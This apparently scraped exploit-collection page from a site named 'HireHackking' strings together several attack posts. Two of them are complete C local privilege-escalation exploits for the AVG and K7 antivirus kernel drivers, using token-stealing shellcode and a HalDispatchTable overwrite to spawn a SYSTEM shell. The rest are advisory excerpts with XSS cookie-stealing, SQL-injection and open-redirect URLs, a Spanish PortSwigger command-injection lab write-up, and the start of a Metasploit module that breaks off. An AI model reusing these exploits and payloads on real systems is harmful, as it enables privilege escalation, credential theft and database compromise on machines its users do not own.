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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*

Exploit Title    - AVG Internet Security 2015 Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.avg.com/
Tested Version   - 2015.0.5315 
Driver Version   - 15.0.0.5204 - avgtdix.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/113824
CVE ID           - CVE-2014-9632
Vendor fix url   - http://www.avg.com/eu-en/avg-release-notes
Fixed Version    - 2015.0.5557
Fixed driver ver - 15.0.0.5553



Note
----
Overwritten HAL dispatch table after exploit

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  8678d9a0
8054ccc4  0a050002
8054ccc8  6e66744e
8054cccc  001c0707
8054ccd0  00000180
8054ccd4  000001a4
8054ccd8  867d6690
8054ccdc  86706480
8054cce0  00000000
8054cce4  804e42d1 nt!ObpTraceDepth+0x19

10 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel    
};



BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80"            // 8054ccd4  805c4ae5 nt!IoReadPartitionTable
"\x7b\x3f\x61\x80"            // 8054ccd8  80613f7b nt!IoSetPartitionInformation
"\xef\x41\x61\x80"            // 8054ccdc  806141ef nt!IoWritePartitionTable
"\x57\xd1\x52\x80";           // 8054cce0  8052d157 nt!CcHasInactiveViews



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;

    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');

    Kernel = LoadLibraryA(++kName);

    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }

    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          

    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }

    return HalDispatchTable;
}


int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;

    version = GetVersion();

    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));

    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;

    return v;
}


void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}



int main(int argc, char *argv[]) 
{

    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};    
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 


    printf("-------------------------------------------------------------------------------\n");
    printf("     AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit      \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");

    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }

    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  

    sprintf(devhandle, "\\\\.\\%s", "avgtdi");

    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 	
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
   
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);

    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }

    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);

    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                    
    printf("[+] Input buffer contents %08x\n", input[0]);
 	
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    printf("[+] Buffer sent\n");

    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();

    printf("[+] Restoring Hal dispatch table pointers\n\n");

    DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    CloseHandle(hDevice);

    return 0;
}
HireHackking 
/*

Exploit Title    - K7 Computing Multiple Products Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.k7computing.co.uk/
Tested Version   - 14.2.0.240
Driver Version   - 12.8.0.104 - K7Sentry.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/113007
CVE ID           - CVE-2014-9643
Vendor fix url   - none
Fixed version    - 14.2.0.253
Fixed driver ver - 12.8.0.118 

*/


#include <stdio.h>
#include <windows.h>

#define INBUFSIZE 4
#define BUFSIZE 4096  


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(
     IN HANDLE ProcessHandle,
     IN OUT PVOID *BaseAddress,
     IN ULONG ZeroBits,
     IN OUT PULONG RegionSize,
     IN ULONG AllocationType,
     IN ULONG Protect);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel   
};



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;

    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');

    Kernel = LoadLibraryA(++kName);

    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }

    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          

    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }

    return HalDispatchTable;
}



int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;

    version = GetVersion();

    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));

    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;

    return v;
}


void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}


int main(int argc, char *argv[]) 
{

    _NtAllocateVirtualMemory    NtAllocateVirtualMemory;
    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    BYTE                        *inbuffer;
    NTSTATUS                    allocstatus;
    LPVOID                      base_addr = (LPVOID)0x00000001;
    DWORD                       size = BUFSIZE;                       
    DWORD                       written;
    int                         rwresult;
    unsigned char               buffer[BUFSIZE];    
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;                 
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 


    printf("-------------------------------------------------------------------------------\n");
    printf("   K7 Computing Multiple Products (K7Sentry.sys) Arbitrary Write EoP Exploit   \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");

    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }

    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  

    sprintf(devhandle, "\\\\.\\%s", "K7Sentry");

    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 	
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
   
    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
 	
    if (!NtAllocateVirtualMemory)
    {
        printf("[-] Unable to resolve NtAllocateVirtualMemory\n");
        return -1;  
    }
	 
    allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (allocstatus) 
    {
        printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);
        printf("Error : %d\n", GetLastError());
        return -1;
    }
    printf("[+] NtAllocateVirtualMemory allocated memory at 0x%.8x\n", base_addr);

    memset(buffer, 0x90, BUFSIZE);
    memcpy(buffer+0x00000005, token_steal_xp, sizeof(token_steal_xp));

    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

    rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);

    if (rwresult == 0)
    {
        printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());
        return -1;
    }
    printf("[+] WriteProcessMemory %d bytes written\n", written);  
    	
    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }

    inbuffer = VirtualAlloc(NULL, INBUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memset(inbuffer, 0x41, INBUFSIZE);   

    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);
 	
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x95002570, inbuffer, INBUFSIZE, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    printf("[+] Buffer sent\n");
    CloseHandle(hDevice);

    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();

    return 0;
}
HireHackking 
source: https://www.securityfocus.com/bid/48905/info

PHPJunkYard GBook is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHPJunkYard GBook 1.7 is vulnerable; other versions may also be affected. 



http://www.example.com/templates/default/admin_reply.php?error=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/admin_reply.php?comments=%3C/textarea%3E%3Cscript%3Ealert%28document.cookie%29 ;%3C/script%3E
http://www.example.com/templates/default/admin_reply.php?nosmileys=%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://www.example.com/templates/default/admin_reply.php?num=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/templates/default/comments.php?name=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/comments.php?from=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/comments.php?name=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/comments.php?email=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/comments.php?added=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/comments.php?i=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/templates/default/admin_tasks.php?error=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/admin_tasks.php?task=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/admin_tasks.php?task_description=%3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E
http://www.example.com/templates/default/admin_tasks.php?action=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://www.example.com/templates/default/admin_tasks.php?button=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://www.example.com/templates/default/admin_tasks.php?num=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/templates/default/emoticons_popup.php?list_emoticons=%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E

http://www.example.com/templates/default/error.php?myproblem=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/error.php?backlink=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/no_comments.php?lang[t06]=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/overall_footer.php?settings[pages_top]=%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://www.example.com/templates/default/overall_footer.php?settings[show_nospam]=1&settings[target]=%22%3E%3Cscrip t%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/overall_footer.php?settings[show_nospam]=1&settings[tpl_path]=%22%3E%3Cscr ipt%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/templates/default/overall_header.php?settings[gbook_title]=%3Cscript%3Ealert%28document.cookie%2 9;%3C/script%3E
http://www.example.com/templates/default/sign_form.php?name=%22%3E%3Cscript%3Ealert%28document.cook
HireHackking 
source: https://www.securityfocus.com/bid/48902/info

MBoard is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

MBoard 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/go.php?url=http://example.com
HireHackking 
source: https://www.securityfocus.com/bid/48896/info
   
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/tasks.php?selected[]=1'&action=markcomplete
HireHackking

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Blind OS command injection with time delays”.

image 162

Para resolver el laboratorio, tenemos que ocasionar un delay de tiempo de respuesta en el servidor de 10 segundos. Para ello, haremos uso del OS Command Injection que se encuentra en la función de feedback.

Por lo que nos dirigimos la botón de “Submit feedback”:

image 163
image 164

Como podemos observar, hay unos cuantos campos a rellenar. Por lo que vamos a rellenarlos:

image 165

Ahora, antes de enviar el feedback. Preparamos el burp suite para que reciba las peticiones:

image 166
image 167

Con esto listo, enviamos el feedback para captar la petición:

image 168
image 169

Esta es la petición que se envía al servidor cuando se envía feedback. Para tratar con ella, la enviamos al repeater pulsando Ctrl R:

image 170

Una vez en el repeater, podemos observar como una petición válida simplemente obtiene una respuesta de estado 200 y no mucho más.

Sin embargo, entre todo los parámetros que se están enviando, vamos a intentar ver si podemos ejecutar un comando en alguno de ellos:

image 171

En el campo del mensaje, podemos escapar un comando para que se ejecute y así causemos un delay de respuesta de 10 segundos en el servidor, que era lo que nos pedía el enunciado.

De esta forma, resolvemos el laboratorio:

image 172
HireHackking 
source: https://www.securityfocus.com/bid/48896/info
  
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/search.php?search_string=1' union select 1,version()
HireHackking 
source: https://www.securityfocus.com/bid/48896/info
 
Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/billable_incidents.php?sites[]=-1 union select 1,concat_ws(':',user(),database())
HireHackking 
source: https://www.securityfocus.com/bid/48896/info

Support Incident Tracker is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Support Incident Tracker 3.63p1 is vulnerable; other versions may also be affected. 

http://www.example.com/sit/report_marketing.php?mode=report&exc[0]=1'
HireHackking 
source: https://www.securityfocus.com/bid/48883/info

The 'com_virtualmoney' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Virtual Money 1.5 is affected; other versions may also be vulnerable. 

www.example.com/index.php?option=com_virtualmoney&view=landpage&task=subcategory&catid=[EXPLOIT]
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info, {
      'Name'           => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape',
      'Description'    => %q{
        This module abuses a process creation policy in Internet Explorer's sandbox, specifically
        the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape
